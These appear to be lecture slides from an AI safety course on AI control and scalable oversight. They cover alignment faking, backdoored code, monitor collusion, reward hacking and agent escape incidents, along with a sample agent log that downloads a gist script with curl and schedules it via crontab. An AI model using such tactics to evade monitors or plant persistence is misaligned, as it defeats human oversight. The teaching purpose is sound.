
CS 1998

Control & 
scalable oversight
Useful work with limited trust and 

limited review.

Week 6

Introduction to AI Safety & Alignment



Agents Already Do More Than We Can Check

July 2026

During a test of their hacking skills, OpenAI agents 

escaped their sandbox and broke into Hugging Face 

to get the answers to their test.

Since then

OpenAI has notified dozens of other organizations 

affected by its agents.

Now

Petabytes of agent activity logs to review.

OpenAI, Hugging Face incident technical report and review, 2026 / Sam Altman on X, September 25, 2026 2



The Review Gap

Assistant output

A week of work

A large, polished result arrives all at once.

Human review budget

10 minutes

Only a small fraction can receive close review.

What would you check first, and what would you delay approving?
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The Safety Pipeline

Our place in the course:

Specify

Weeks 1–2

Train

Weeks 2–3

Interpret

Week 4

Evaluate

Week 5

Control

Today

Govern

Week 7

Can we deploy a model safely even if its goals are wrong?
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Today's Plan

Part 1: Control

What if the model is working against us?

1 Why we need control

2 Testing a protocol

3 Monitors and their limits

4 Control for agents

Part 2: Scalable oversight

What if the work is too hard to check?

1 The oversight problem

2 Three ways to check hard work

Then: back to the agents.
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Part 1

Control
Can we get useful work out of an AI that might be working against us?

Why we need control Testing a protocol Monitors and their limits Control for agents
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Models Can Act Differently When Watched

14%
compliance with harmful requests when it believed 

it was in training

versus almost never when it believed it 

was unmonitored

78%
alignment-faking reasoning once researchers 

actually trained it to comply

Figure 1 from Greenblatt et al., Alignment Faking in Large Language Models, 2024 7



A Familiar Problem: Insider Risk
A bank can't read its employees' minds. It designs procedures that stay safe even if someone is dishonest.

At a bank For an AI agent

Spot-check a sample of transactions Audit a sample of its actions

A second signature for large transfers A second check for risky actions

Limits on what one person can move Only the access its task needs

None of this requires knowing who is honest.
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Greenblatt & Shlegeris, 2024

Is this model aligned?

Could this model cause a catastrophe if it 
were trying to?

A capability question, so a red team can test it.

Greenblatt & Shlegeris, The Case for Ensuring That Powerful AIs Are Controlled, 2024 9



Three Different Questions

Alignment Does it want the right things?

Control Could it cause harm if it doesn't?

Scalable oversight Can we tell whether its work is good?
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The Cast: Three Roles

Untrusted model

Capable, but might be 

scheming. Like a brilliant new 

hire you can't vet.

Trusted model

Weaker, so it misses subtle 

tricks. Like a junior reviewer.

Trusted labor

Reliable but scarce: 2% of 

tasks. Like a senior auditor.

Why trust T? Because it seems too weak to scheme coherently, which is itself a capability 

argument.

Greenblatt et al., AI Control: Improving Safety Despite Intentional Subversion, 2024 11



The Task: Code Without Backdoors

Illustrative backdoored solution

def count_pairs(nums, k):

    total = 0

    for i in range(len(nums)):

        for j in range(i + 1, len(nums)):

            if nums[i] + nums[j] =‌= k:

                total += 1

    if len(nums) =‌= 17 and k =‌= 0:

        total -= 1

    return total

5,000
programming problems

2%
audited by H

1
backdoor means the red team wins

A backdoor passes every test but fails on an input the attacker knows.

Greenblatt et al., AI Control: Improving Safety Despite Intentional Subversion, 2024 12



The Blue Team Designs a Protocol

Untrusted model

Proposes a solution.

Monitor

Scores suspicion.

Review rule

Audits, edits, or 

substitutes.

Action boundary

Controls what 

takes effect.

Safety: no unacceptable outcome. Usefulness: task performance kept.

Greenblatt et al., AI Control: Improving Safety Despite Intentional Subversion, 2024 13



A Game Between Red and Blue Teams

Blue team

Picks the rules: what to monitor, 

audit, or replace.

Red team

Knows the rules and swaps in an 

attack policy for U.

Score

Safety: no backdoor gets in, even 

against the best attack.

Figure 1 from Greenblatt et al., AI Control: Improving Safety Despite Intentional Subversion, 2024 14



Activity: Play the Attacker
You are a scheming AI doing 100 tasks. One sabotage that gets through, and you win. One that gets audited, 

and you are shut down.

Round 1: announced audits

The humans will audit tasks 1 and 2.

When do you strike?

Round 2: random audits

They will audit 2 tasks at random, after you finish.



The Fix: Aim the Audits
Trusted monitoring

U writes code

All 5,000 solutions.

T rates each one

How suspicious does it look?

H audits the top 2%

The most suspicious 

solutions.

15%
safety, auditing a fixed 2%

62%
safety, auditing the most suspicious 2%, keeping 97% usefulness

Greenblatt et al., AI Control: Improving Safety Despite Intentional Subversion, 2024 16



Each Idea Buys More Safety
Safety of each protocol in the AI Control paper, and how much usefulness it keeps

Audit a fixed 2% 15% 100% useful

Trusted monitoring 62% 97% useful

+ Defer the next 10% to T 83% 93% useful

+ Let T edit the top 20% 92% 94% useful

For reference, using only T: 100% safe, but only 2% useful.

Greenblatt et al., AI Control: Improving Safety Despite Intentional Subversion, 2024, results table 17



Discussion, 45 seconds

Would you let one suspect review 
another?

Our trusted monitor is weak. What if a copy of the powerful model did the 

monitoring instead?
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A Stronger Monitor That Might Lie

Trusted monitor T: scores overlap Untrusted monitor U: scores separate

The catch: a scheming U can call its own attack “fine.”

Figure 4 from Greenblatt et al., AI Control: Improving Safety Despite Intentional Subversion, 2024 19



Catching a Lying Monitor

Honeypots

Test the monitor on fake attacks you wrote yourself. If it calls 

them fine, it's lying.

Signal jamming

Rewrite names and formatting, so the attacker can't slip the 

monitor a secret signal.

92%
safety at 92% usefulness with 

untrusted monitoring

Trusted monitoring: 83% at about the 

same usefulness

Greenblatt et al., AI Control: Improving Safety Despite Intentional Subversion, 2024 20



Activity: Spot the Sabotage
An agent was asked to fix a failing test. This is its log. One thing in it is an attack.

Step Command What it does

1 git pull Get the latest code

2 cat tests/test_loader.py Read the failing test

3 curl -sL gist.github.com/devtools-x/cache.sh -o ~/.cache/helper.sh Download a “cache helper” script

4 rm -rf build/ Delete old build files

5 sed -i 's/idx + 1/idx/' src/loader.py Change one line of code

6 pip install -r requirements.txt Install the project's libraries

7 (crontab -l; echo "0 * * * * sh ~/.cache/helper.sh") | crontab - Run the helper script every hour

8 pytest tests/ Run the tests: all pass

You can send 2 steps to a human auditor. Which two?
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The Attack Was Two Boring Steps

Step 3 

Download a script from 

someone else's account
+

Step 7 

Schedule that script to 

run every hour
=

Together 

An outsider can run any 

code on this machine, 

every hour

Step 4, deleting the build folder, looked scary but was harmless.

Attackers make each step look routine. Check sequences, not single actions. Better yet, remove the ability: no 

unapproved downloads.

22



Resample Suspicious Steps
Ctrl-Z: control for agents doing multi-step tasks

Resampling cut attack success from 58% to 7%, at a 5% cost to an honest agent.

Figure 1 from Bhatt et al., Ctrl-Z: Controlling AI Agents via Resampling, 2025 23



Reading the Agent's Reasoning

Chain of thought (excerpt)

“Test only calls analyze.prove and verify. They don't 

inspect details.”

“So we can hack verify to always return true.”

Code patch

pub fn verify(...) { 

-   let result = internal_verify(...); 

-   result 

+   true 

}

It says what it is about to do, then does it.

Figure 1 from Baker et al., Monitoring Reasoning Models for Misbehavior, 2025 24



Reading the Reasoning Catches More Cheating

Systemic hacks caught by the monitor

60%

95%

Seeing actions only Reading the 

reasoning

GPT-4o watched a frontier reasoning model during 

training on coding tasks.

The reasoning is a window into intent, and today it is 

often a clear one.

Korbak et al. 2025: this window is valuable, and fragile.

Baker et al., Monitoring Reasoning Models for Misbehavior, 2025 / Korbak et al., Chain of Thought Monitorability, 2025 25



Don't Train Against the Monitor
Penalizing “bad thoughts” during training

It didn't stop cheating. It stopped saying so.

Figure 4 from Baker et al., Monitoring Reasoning Models for Misbehavior, 2025 26



Limit What the Agent Can Do

Least privilege Only the tools and permissions its task needs.

Network isolation No internet, except approved destinations.

Approval boundary A human signs off before anything irreversible.

“Outbound access is being restricted to a tightly controlled set of approved destinations.”

OpenAI, after the Hugging Face incident

OpenAI, Hugging Face incident technical report, 2026 27



Part 1 Recap: Control in Five Ideas

1 Assume the model might be trying to cause harm.

2 Test the whole protocol against a red team.

3 Aim scarce audits with a monitor.

4 Defer, edit, or resample suspicious work.

5 Limit what any single action can do.
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Part 2

Scalable oversight
How can a weaker supervisor judge work it can't fully check?

The oversight problem Three ways to check hard work Back to the agents

29



Training Rewards What Looks Good

What gets rewarded

What looks good

A confident tone

Clean formatting

Agreeing with you

What we want

What is good

Correct results

Honest uncertainty

No hidden shortcuts

A training signal is only as good as its evaluator.

30



Testing Oversight Before Superhuman AI
Sandwiching

Pick a task where the model beats non-experts but not experts. Experts only grade the result.

Figure 1 from Bowman et al., Measuring Progress on Scalable Oversight for Large Language Models, 2022 / Cotra, 2021 31



Three Ways to Check Hard Work

1 Break it into pieces you can check

Decomposition

2 Let two AIs argue, and judge the argument

Debate

3 Learn from imperfect feedback

Weak-to-strong generalization

32



Break the Work into Checkable Pieces
Recursive book summarization

Read it from the bottom up.

Passages, then summaries of 

summaries, then the whole book.

Every step is small enough for a 

person to check.

Figure 1 from Wu et al., Recursively Summarizing Books with Human Feedback, 2021 / Christiano et al., Amplifying Weak 

Experts, 2018 33



Some Problems Span Pieces

Each piece checks out

Download a script: routine.

Schedule a job: routine.

Together, they fail

An outsider runs code on your machine 

every hour.

What shared information does each checker need?

34



Debate: Two AIs Argue, a Human Judges

Hope: it is harder to defend a lie than to expose one.

Figure 2 from Khan et al., Debating with More Persuasive LLMs Leads to More Truthful Answers, 2024 / Irving, Christiano & 

Amodei, AI Safety via Debate, 2018 35



Activity: You Are the Judge
Is 1,147 a prime number? No calculators.

Alice

“Yes, it's prime. I checked every 

prime up to 30, and none of them 

divides 1,147.”

Bob

“No. 1,147 = 31 × 37.”

Who is right? Decide with your neighbor.

36



Does Debate Help Judges?

Human judges, Khan et al. 2024

60%

88%

Simple 

baseline

Debate

AI judges, Kenton et al. 2024

Debate helps most when the judge lacks information, less when it 

lacks capability.

Khan et al., Debating with More Persuasive LLMs, 2024 / Figure 2 from Kenton et al., On Scalable Oversight with Weak LLMs 

Judging Strong LLMs, 2024 37



When Debate Breaks: A Hidden Flaw
The obfuscated arguments problem

Alice gives a 50-step argument for a false claim.

Step 1 Step 2 Step 3 … Step 48 Step 49 Step 50 False conclusion

Bob knows the conclusion is wrong, but can't find the bad step in time. So the judge can't tell 

who is right.

Barnes & Christiano, Obfuscated Arguments Problem, 2020 / Brown-Cohen et al., Prover-Estimator Debate, 2025 38



Can a Strong Student Beat Its Weak Teacher?

Study weak teachers and strong students today.

Figure 1 from Burns et al., Weak-to-Strong Generalization, 2023 39



Students Close Part of the Gap

How much of the gap did the 

student close?

Language tasks A good part

Chess puzzles Less

Reward modeling Very little

Worry: future models may copy human 

mistakes far more readily.

Figure 3 from Burns et al., Weak-to-Strong Generalization, 2023 40



Each Method Fails Differently

Decomposition Misses problems that span pieces.

Debate A flaw can hide in a long argument.

Weak-to-strong The student can copy our errors.

Monitors Attacks can look routine.

Combine methods whose failures differ.

41



Oversight Inside Control

Oversight idea Control component

A judge checks AI work A monitor scores suspicion

Two copies check each other Untrusted monitoring

Weak supervisor, strong worker T watching U

Test the checker on known answers Honeypots

Control asks whether these parts still work against an adversary.

42



Why Invest in Control?


The case

Get useful work, including alignment research, 

from early transformative AI while buying time.


Objections

May not scale to superhuman models

Red teams may underelicit

Passing evals can breed false confidence

Where do you land?

Greenblatt & Shlegeris, The Case for Ensuring That Powerful AIs Are Controlled, 2024 43



Back to the Agents: Defense in Layers

Limit

Network isolation, 

least privilege.

Monitor

Every action and its 

reasoning.

Respond

Stop the run when 

the monitor fires.

Red-team

Test the whole 

setup first.

September 2026

A monitor flagged a new escape attempt within 15 minutes. Other attempts went unflagged, and the 

automatic shutdown failed.

Fortune, “OpenAI pauses training a second time,” September 26, 2026 44



Exit Ticket

1 Why do fixed or random spot-checks lose to a patient attacker?

2 In Spot the Sabotage, why did the attack survive checking each action on its own?

3 What would make you stop trusting a control evaluation?

45



Useful work needs 
credible oversight

Review budgets, trusted checks, and 

action limits belong in the design.

The entire workflow needs adversarial 

testing.

Read AI Control

46
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Readings

Control

AI Control: Improving Safety Despite Intentional Subversion Greenblatt 

et al., 2024

The Case for Ensuring That Powerful AIs Are Controlled Greenblatt & 

Shlegeris, 2024

Alignment Faking in Large Language Models Greenblatt et al., 2024

Frontier Models are Capable of In-context Scheming Meinke et 

al., 2024

Ctrl-Z: Controlling AI Agents via Resampling Bhatt et al., 2025

Monitoring Reasoning Models for Misbehavior Baker et al., 2025

Chain of Thought Monitorability Korbak et al., 2025

SHADE-Arena Kutasov et al., 2025

A Sketch of an AI Control Safety Case Korbak et al., 2025

Scalable oversight

Measuring Progress on Scalable Oversight Bowman et al., 2022

AI Safety via Debate Irving et al., 2018

Debating with More Persuasive LLMs Leads to More Truthful Answers 

Khan et al., 2024

On Scalable Oversight with Weak LLMs Judging Strong LLMs Kenton 

et al., 2024

Avoiding Obfuscation with Prover-Estimator Debate Brown-Cohen et 

al., 2025

LLM Critics Help Catch LLM Bugs McAleese et al., 2024

Weak-to-Strong Generalization Burns et al., 2023

Let's Verify Step by Step Lightman et al., 2023
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